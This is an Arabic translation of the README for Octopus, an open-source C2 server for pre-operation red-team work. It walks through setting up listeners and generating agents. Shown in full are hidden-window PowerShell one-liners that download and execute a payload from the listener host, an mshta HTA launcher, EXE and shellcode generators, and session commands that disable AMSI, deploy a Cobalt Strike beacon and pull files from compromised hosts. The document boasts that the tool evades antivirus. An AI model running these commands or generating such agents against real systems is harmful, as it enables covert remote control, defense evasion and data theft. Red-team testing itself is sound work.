
خادم تحكم وقيادة (C2) مفتوح المصدر لما قبل العملية يعتمد على بايثون وباورشيل
Octopus هو خادم C2 مفتوح المصدر لما قبل العمليات مبني على بايثون يمكنه التحكم في وكيل Octopus powershell عبر HTTP/S.
الغرض الرئيسي من إنشاء Octopus هو استخدامه قبل أي عملية فريق أحمر (red team)، حيث بدلاً من بدء المهمة بترسانة عملياتية كاملة وبنية تحتية، يمكنك أولاً استخدام Octopus لمهاجمة الهدف وجمع المعلومات قبل بدء عملية فريقك الأحمر الفعلية.
يعمل Octopus بطريقة بسيطة جداً لتنفيذ الأوامر وتبادل المعلومات مع C2 عبر قناة مشفرة جيداً، مما يجعله غير واضح وغير قابل للكشف تقريباً من جميع حلول مكافحة الفيروسات (AV)، وحماية نقاط النهاية، ومراقبة الشبكة.
إحدى الميزات الرائعة في Octopus تسمى ESA، والتي تعني "الوعي الموقفي للنقطة النهائية" (Endpoint Situational Awareness)، حيث ستقوم بجمع بعض المعلومات المهمة حول الهدف مما سيساعدك على فهم أفضل لنقاط نهاية شبكة الهدف التي ستواجهها أثناء عمليتك، مما يتيح لك فرصة تخصيص عمليتك الحقيقية بناءً على هذه المعلومات.
تم تصميم Octopus ليكون خفيًا وسريًا أثناء الاتصال بـ C2، حيث يستخدم AES-256 افتراضيًا لقناته المشفرة بين وكيل powershell وخادم C2. يمكنك أيضًا اختيار استخدام SSL/TLS عن طريق تقديم شهادة صالحة لنطاقك وتكوين خادم Octopus C2 لاستخدامها.
يحتوي Octopus على عدد من الميزات التي تسمح لك بالحصول على نظرة ثاقبة لمهمتك القادمة قبل أن تحتاج فعليًا إلى نشر ترسانتك الكاملة أو أدواتك وتقنياتك، مثل:
يمكنك تثبيت جميع متطلبات Octopus عبر:
pip install -r requirements.txt
تحتاج إلى تثبيت nasm لنظام لينكس ومترجم mingw-w64 لاستخدام ميزة shellcoding ووكيل spoofed args.
يمكنك تثبيت nasm على توزيعات Debian باستخدام:
apt install nasm
ويمكنك تثبيت mingw-w64 على توزيعات Debian باستخدام:
apt install mingw-w64
تم اختبار Octopus على أنظمة التشغيل التالية:
ستحتاج أيضًا إلى تثبيت mono للتأكد من أنك تستطيع تجميع كود المصدر C# دون مشاكل.
يعتمد Octopus على ثنائي mono-csc لتجميع كود المصدر C# ويمكنك تثبيته بالأمر التالي apt install mono-devel والذي تم اختباره على kali و ubuntu 16.04.
يمكنك استخدام Octopus دون تثبيت mono ولكنك لن تتمكن من استخدام الأمر
generate_exe.
يرجى أيضًا ملاحظة أن تجميع C# يعتمد على التجميع System.Management.Automation.dll مع تجزئة SHA1 a43ed886b68c6ee913da85df9ad2064f1d81c470.
إذا واجهت أي مشاكل في استخدام Octopus، فلا تتردد في تقديم تقرير خطأ!
أولاً، تأكد من تنزيل أحدث إصدار من Octopus باستخدام الأمر التالي:
git clone https://github.com/mhaskar/Octopus/
ثم تحتاج إلى تثبيت المتطلبات باستخدام الأمر التالي:
pip install -r requirements.txt
بعد ذلك يمكنك بدء تشغيل خادم Octopus عن طريق تشغيل:
./octopus.py
سيتم استقبالك بالشكل التالي عند تشغيله:
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py
___ ___ ___ ___ ___ ___
/ /\ / /\ ___ / /\ / /\ /__/\ / /\
/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_
/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\
/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\
/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\
\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/
\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/
\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/
\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/
\__\/ \__\/ \__\/ \__\/ \__\/ \__\/
v1.2 stable !
Octopus C2 | Control your shells
Octopus >>
استخدام Octopus بسيط جداً، حيث تحتاج فقط إلى بدء مستمع (listener) وإنشاء الوكيل (agent) الخاص بك بناءً على معلومات ذلك المستمع.
يمكنك إنشاء أي عدد تريده من المستمعين، ثم يمكنك بدء التفاعل مع وكلائك الذين يتصلون بهم.
قبل أن تتمكن من بدء استخدام Octopus، يجب عليك إعداد ملف تعريف للتعامل مع عناوين URL والذي سيتحكم في سلوك ووظائف C2، نظرًا لأن Octopus هو C2 قائم على HTTP، فإنه يعتمد على عناوين URL لمعالجة الاتصالات وضمان أن عناوين URL لن تكون بمثابة توقيعات أو مؤشرات اصطياد (IoC) في الشبكة التي تهاجمها حاليًا، ويمكن تخصيص عناوين URL وإعادة تسميتها بسهولة حسب الحاجة.
يدعم إعداد الملف الشخصي حاليًا فقط معالجة URL وقيمة auto_kill والرؤوس (headers).
إعداد ملفك الشخصي
لبدء إعداد ملفك الشخصي، تحتاج إلى تحرير ملف profile.py، والذي يحتوي على عدد من المتغيرات الرئيسية، وهي:
مثال:
#!/usr/bin/python3
# هذا هو ملف تعريف مستمع الويب لـ Octopus C2
# يمكنك تخصيص ملفك الشخصي لمعالجة URLs محددة للتواصل مع الوكيل
# TODO: إضافة القدرة على تخصيص رؤوس الطلبات
# معالجة تنزيل الملفات
# مثال: /anything
# مثال: /anything.php
file_receiver_url = "/messages"
# معالجة إنشاء التقرير
# مثال: /anything
# مثال: /anything.php
report_url = "/calls"
# إرسال الأوامر إلى الوكيل (تخزين الأمر الذي سيتم تنفيذه على مضيف)
# اترك <hostname> كما هو بنفس التنسيق
# مثال: /profile/<hostname>
# مثال: /messages/<hostname>
# مثال: /bills/<hostname>
command_send_url = "/view/<hostname>"
# معالجة الأمر المنفذ
# مثال: /anything
# مثال: /anything.php
command_receiver_url = "/bills"
# معالجة الاتصال الأول من الوكيل
# مثال: /anything
# مثال: /anything.php
first_ping_url = "/login"
# سيتم إرجاعه في كل استجابة كرأس Server
server_response_header = "nginx"
# سيتم إرجاع صفحة بيضاء تحتوي على سكريبت HTA
mshta_url = "/hta"
# قيمة auto_kill بعد n محاولة
auto_kill = 10
سيتم تكوين الوكيل والمستمعين لاستخدام هذا الملف الشخصي للتواصل مع بعضهم البعض. بعد ذلك نحتاج إلى معرفة كيفية إنشاء مستمع.
لدى Octopus مستمعان رئيسيان، "مستمع http" و"مستمع https"، وخيارات كلا المستمعين متطابقة إلى حد كبير.
مستمع HTTP:
يأخذ الأمر listen_http الوسائط التالية لبدء التشغيل:
يمكنك أيضًا رؤية مثال عليه عن طريق تشغيل الأمر listen_http:
Octopus >>listen_http
[-] يرجى التحقق من وسائط المستمع!
الصيغة: listen_http BindIP BindPort hostname interval URL listener_name
مثال (مع نطاق): listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
مثال (بدون نطاق): listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
##########
معلومات الخيارات:
BindIP: عنوان IP الذي سيستخدمه المستمع
BindPort: المنفذ الذي تريد الاستماع عليه
Hostname: سيتم استخدامه لطلب الحمولة منه
Interval: عدد الثواني التي سينتظرها الوكيل قبل التحقق من الأوامر
URL: اسم الصفحة التي ستحتوي الحمولة
Listener_name: اسم المستمع لاستخدامه
Octopus >>
ويمكننا بدء مستمع باستخدام الأمر التالي:
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
ستظهر النتيجة التالية:
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
تم بدء المستمع بنجاح، ويمكننا عرض جميع المستمعين باستخدام الأمر listeners:
Octopus >>listeners
Name IP Port Host Interval Path SSL
---------- ------- ------ ------------- ---------- -------- -----
operation1 0.0.0.0 8080 192.168.178.1 5 page.php False
Octopus >>
مستمع HTTPS:
لإنشاء مستمع HTTPS يمكنك استخدام الأمر listen_https كما يلي:
Octopus >>listen_https
[-] يرجى التحقق من وسائط المستمع!
الصيغة: listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
مثال (مع نطاق): listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started!
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
يأخذ الأمر listen_https الوسائط التالية لبدء التشغيل:
يرجى ملاحظة أنك بحاجة إلى تقديم شهادة SSL صالحة مرتبطة بالنطاق المستخدم.
Powershell oneliner
لإنشاء وكيل للمستمع operation1 يمكننا استخدام الأمر التالي:
generate_powershell operation1
وسنحصل على النتيجة التالية:
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"
ملاحظة - بالنسبة لعملاء Windows 7 قد تحتاج إلى إضافة البادئة "Add-Type -AssemblyName System.Core;" إلى الحمولة
على سبيل المثال: powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
Hack your way in ;)
#====================
Octopus >>
الآن يمكننا استخدام هذا السطر الواحد لبدء وكيلنا.
HTA oneliner
لإنشاء سطر واحد HTA للمستمع operation1 يمكننا استخدام الأمر التالي:
generate_hta operation1
وسنحصل على النتائج التالية:
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
انشره وانتظر ;)
#====================
Octopus >>
يرجى ملاحظة أنه يمكنك تعديل عنوان URL /hta باستخدام profile.py
وكيل Octopus EXE
لإنشاء وكيل EXE للمستمع operation1 يمكننا استخدام الأمر التالي:
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
وسنحصل على النتيجة التالية:
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] تم تجميع الملف بنجاح!
[+] تم حفظ الملف الثنائي في /opt/Octopus/file.exe
Octopus >>
يرجى ملاحظة أنه يجب عليك تثبيت mono-csc لتجميع كود المصدر C#.
وكيل Octopus ذو الوسائط المزيفة (Spoofed arguments agent)
يمكنك إنشاء وكيل EXE جديد يقوم بتشغيل عملية Powershell مع وسائط مزيفة بناءً على بحث Adam Chester الرائع.
لإنشاء هذا الـ exe، يمكنك استخدام الأمر التالي:
Octopus >>generate_spoofed_args_exe
[-] يرجى تحديد مستمع والتحقق من خياراتك!
الصيغة: generate_spoofed_args_exe listener_name output_path
مثال: generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>
إنشاء شيلكود x64 وشيلكود x86
يمكن لـ Octopus إنشاء كل من شيلكود x64 و x86 بدءًا من الإصدار 1.2، ويستخدم شيلكود المُنشأ CreateProcessA لبدء سطر واحد powershell.exe الذي سيطلق وكيل powershell.
لإنشاء شيلكود x64، يمكنك استخدام الأمر التالي:
Octopus >>generate_x64_shellcode
[-] يرجى تحديد مستمع والتحقق من خياراتك!
الصيغة: generate_x64_shellcode listener_name
مثال: generate_x64_shellcode listener1
Octopus >>
لإنشاء شيلكود x86، يمكنك استخدام الأمر التالي:
Octopus >>generate_x86_shellcode
[-] يرجى تحديد مستمع والتحقق من خياراتك!
الصيغة: generate_x86_shellcode listener_name
مثال: generate_x86_shellcode listener1
Octopus >>
أولاً، يمكنك سرد جميع الوكلاء المتصلين باستخدام الأمر list للحصول على النتائج التالية:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>
ثم يمكننا استخدام الأمر interact للتفاعل مع المضيف كما يلي:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >>
يمكنك سرد جميع الأوامر المتاحة باستخدام الأمر help كما يلي:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >> help
الأوامر المتاحة للاستخدام:
تلميح: إذا كنت تريد تنفيذ أمر نظام فقط اكتبه وانتظر النتائج
+++++++++
help: يعرض قائمة المساعدة هذه
exit/back: يخرج من الجلسة الحالية ويعود إلى الشاشة الرئيسية
clear: يمسح مخرجات الشاشة
download: تنزيل ملف من الجهاز الهدف
deploy_cobalt_beacon: نشر إشارة كوبالت سترايك powershell في العملية الحالية
load: تحميل وحدة powershell إلى الجهاز الهدف
disable_amsi: تعطيل AMSI على الجهاز الهدف
report: الحصول على تقرير الموقف من الهدف
(HR-PC-TYRMJ) >>
لتنفيذ أمر نظام مباشرة، يمكننا كتابة الأمر مباشرة ثم انتظار النتائج بناءً على وقت الفاصل الزمني الذي حددناه عند إنشاء المستمع.
(HR-PC-TYRMJ) >> ipconfig
[+] تم إرسال الأمر، في انتظار النتائج
(HR-PC-TYRMJ) >>
نتيجة تنفيذ الأمر هي:
Windows IP Configuration
Ethernet adapter Ethernet1:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : home
Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
IPv4 Address. . . . . . . . . . . : 192.168.1.43
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
(HR-PC-TYRMJ) >>
في هذه الحالة، تم تشفير الأمر ثم إرساله إلى الوكيل، وبعد ذلك سيقوم العميل بفك تشفير الأمر وتنفيذه، وسيقوم الوكيل بتشفير النتائج، وأخيرًا إرسالها مرة أخرى إلى C2 لفك تشفيرها وعرض النتائج.
يمكننا أيضًا استخدام الأمر report للحصول على معلومات ESA كما يلي:
(HR-PC-TYRMJ) >> report
[+] تم إرسال الأمر، في انتظار النتائج
(HR-PC-TYRMJ) >>
تقرير الوعي الموقفي للنقطة النهائية لـ HR-PC-QNGAV
=============
Hostname: HR-PC-QNGAV
Domain: darkside.com
OS: Microsoft Windows 10 Pro(64-bit)
OS build: 10.0.17134
OS arch: 64-bit
AntiVirus: Symantec
SIEM solution: False
Internal interfaces/IPs:
IP: 192.168.178.144
IP: 172.12.1.20
Device language: en-US
Device uptime: 41.6386169797778 hours
Device local time: 21:55(09/09/2019)
(HR-PC-TYRMJ) >>
يمكنك تحميل وحدة powershell خارجية عن طريق وضعها في دليل modules، ثم تنفيذ load module.ps1.
كما يمكنك سرد جميع الوحدات في دليل modules عن طريق تنفيذ الأمر modules كما يلي:
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] يجب أن تكون الوحدة قد تم تحميلها!
(HR-PC-TYRMJ) >>
Ian Lyte للإبلاغ عن العديد من الأخطاء في Octopus ودفع وحدة تجاوز AMSI المحسنة.
Khlief لإضافة وحدة HTA وإصلاح خطأ في ميزة التنزيل
Moath Maharmah لتحسين وحدة التشفير وكتابة وكيل Octopus مستقل بلغة C# والذي سيتم إضافته في الإصدار القادم.
TeslaPulse لاختبار Octopus
J005 لإضافة سطر واحد محسّن لـ Powershell وإصلاح مشكلة في سكريبت هجوم HID.
هذا المشروع مرخص بموجب ترخيص GPL-3.0 - راجع ملف LICENSE للحصول على التفاصيل